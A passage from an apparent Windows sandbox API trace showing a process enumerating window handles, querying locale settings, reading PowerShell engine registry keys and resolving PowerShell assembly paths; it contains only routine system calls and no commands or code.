lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x788 [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x770 [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4f0 [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x468 [0056.769] GetLastError () returned 0x514 [0056.769] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x468 [0056.769] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x454 [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x65c [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x468 [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x310 [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4ac [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x2010c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0xa3c [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x8d8 [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x8d8 [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x301f4, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x9c4 [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x401e8, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x9c4 [0056.770] GetLastError () returned 0x514 [0056.770] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x820 [0056.770] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x810 [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x608 [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x75c [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x318 [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7ac [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x660 [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x38c [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x6e0 [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x610 [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x624 [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x160 [0056.771] GetLastError () returned 0x514 [0056.771] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7f0 [0056.771] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7a8 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7b4 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7a4 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7c4 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7fc [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x10154, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x7f8 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x2014c, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x708 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x5a8 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x580 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x588 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x468 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x788 [0056.772] GetLastError () returned 0x514 [0056.772] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x770 [0056.773] GetLastError () returned 0x514 [0056.773] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x4f0 [0056.773] GetLastError () returned 0x514 [0056.773] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x468 [0056.773] GetLastError () returned 0x514 [0056.773] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x21eb10 | out: lpdwProcessId=0x21eb10) returned 0x65c [0056.773] GetLastError () returned 0x514 [0056.773] GetLastError () returned 0x514 [0056.774] WerSetFlags () returned 0x0 [0056.779] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0056.780] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x21eeec, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x21eee8 | out: pulNumLanguages=0x21eeec, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x21eee8) returned 1 [0056.780] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x21eeec, pwszLanguagesBuffer=0x2c7b8e4, pcchLanguagesBuffer=0x21eee8 | out: pulNumLanguages=0x21eeec, pwszLanguagesBuffer=0x2c7b8e4, pcchLanguagesBuffer=0x21eee8) returned 1 [0056.783] GetUserDefaultLocaleName (in: lpLocaleName=0x621260, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0056.795] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.795] GetLastError () returned 0xcb [0056.797] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.797] GetLastError () returned 0xcb [0056.798] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.798] GetLastError () returned 0xcb [0056.803] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e95c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.803] GetLastError () returned 0xcb [0056.803] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e978, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.803] GetLastError () returned 0xcb [0056.803] SetErrorMode (uMode=0x1) returned 0x1 [0056.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x21edf8 | out: lpFileInformation=0x21edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0056.803] GetLastError () returned 0xcb [0056.803] SetErrorMode (uMode=0x1) returned 0x1 [0056.803] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x21ee7c | out: lpdwHandle=0x21ee7c) returned 0x94c [0056.806] GetLastError () returned 0x0 [0056.806] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c7de14 | out: lpData=0x2c7de14) returned 1 [0056.807] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21ee48, puLen=0x21ee44 | out: lplpBuffer=0x21ee48*=0x2c7deb0, puLen=0x21ee44) returned 1 [0056.807] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7df8c, puLen=0x21edc0) returned 1 [0056.807] lstrlenW (lpString="Microsoft Corporation") returned 21 [0056.807] lstrcpyW (in: lpString1=0x621260, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0056.807] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7dfe0, puLen=0x21edc0) returned 1 [0056.807] lstrlenW (lpString="System.Management.Automation") returned 28 [0056.807] lstrcpyW (in: lpString1=0x621260, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0056.807] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7e03c, puLen=0x21edc0) returned 1 [0056.807] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.807] lstrcpyW (in: lpString1=0x621260, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7e07c, puLen=0x21edc0) returned 1 [0056.808] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.808] lstrcpyW (in: lpString1=0x621260, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7e0e4, puLen=0x21edc0) returned 1 [0056.808] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0056.808] lstrcpyW (in: lpString1=0x621260, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7e180, puLen=0x21edc0) returned 1 [0056.808] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0056.808] lstrcpyW (in: lpString1=0x621260, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7e1e4, puLen=0x21edc0) returned 1 [0056.808] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0056.808] lstrcpyW (in: lpString1=0x621260, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7e260, puLen=0x21edc0) returned 1 [0056.808] lstrlenW (lpString="6.1.7601.17514") returned 14 [0056.808] lstrcpyW (in: lpString1=0x621260, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x2c7df08, puLen=0x21edc0) returned 1 [0056.808] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0056.808] lstrcpyW (in: lpString1=0x621260, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x0, puLen=0x21edc0) returned 0 [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x0, puLen=0x21edc0) returned 0 [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x21edc4, puLen=0x21edc0 | out: lplpBuffer=0x21edc4*=0x0, puLen=0x21edc0) returned 0 [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21edb8, puLen=0x21edb4 | out: lplpBuffer=0x21edb8*=0x2c7deb0, puLen=0x21edb4) returned 1 [0056.808] VerLanguageNameW (in: wLang=0x0, szLang=0x621260, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0056.808] VerQueryValueW (in: pBlock=0x2c7de14, lpSubBlock="\\", lplpBuffer=0x21edcc, puLen=0x21edc8 | out: lplpBuffer=0x21edcc*=0x2c7de3c, puLen=0x21edc8) returned 1 [0056.814] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.814] GetLastError () returned 0xcb [0056.816] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.816] GetLastError () returned 0xcb [0056.819] lstrlenW (lpString="䅁") returned 1 [0056.821] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x21ed90 | out: phkResult=0x21ed90*=0x31c) returned 0x0 [0056.821] RegOpenKeyExW (in: hKey=0x31c, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x21ed94 | out: phkResult=0x21ed94*=0x320) returned 0x0 [0056.822] RegOpenKeyExW (in: hKey=0x320, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x21edc8 | out: phkResult=0x21edc8*=0x324) returned 0x0 [0056.823] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x21ee08, lpData=0x0, lpcbData=0x21ee04*=0x0 | out: lpType=0x21ee08*=0x1, lpData=0x0, lpcbData=0x21ee04*=0x56) returned 0x0 [0056.824] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x21ee08, lpData=0x621260, lpcbData=0x21ee04*=0x56 | out: lpType=0x21ee08*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x21ee04*=0x56) returned 0x0 [0056.835] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.835] GetLastError () returned 0x0 [0056.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.836] GetLastError () returned 0x0 [0056.839] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0056.840] GetLastError () returned 0x0 [0056.847] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.847] GetLastError () returned 0xcb [0056.973] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0056.973] GetLastError () returned 0x2 [0056.973] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0056.974] GetLastError () returned 0x2 [0057.025] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.025] GetLastError () returned 0xcb [0057.025] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.025] GetLastError () returned 0xcb [0057.133] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0057.133] GetLastError () returned 0x0 [0057.133] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0057.133] GetLastError () returned 0x0 [0057.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.146] GetLastError () returned 0x7e [0057.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.146] GetLastError () returned 0x7e [0057.276] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0057.276] GetLastError () returned 0x2 [0057.276] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0057.276] GetLastError () returned 0x2 [0057.283] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.283] GetLastError () returned 0x57 [0057.284] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.284] GetLastError () returned 0x57 [0057.361] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0057.361] GetLastError () returned 0x2 [0057.361] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0057.361] GetLastError () returned 0x2 [0057.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: 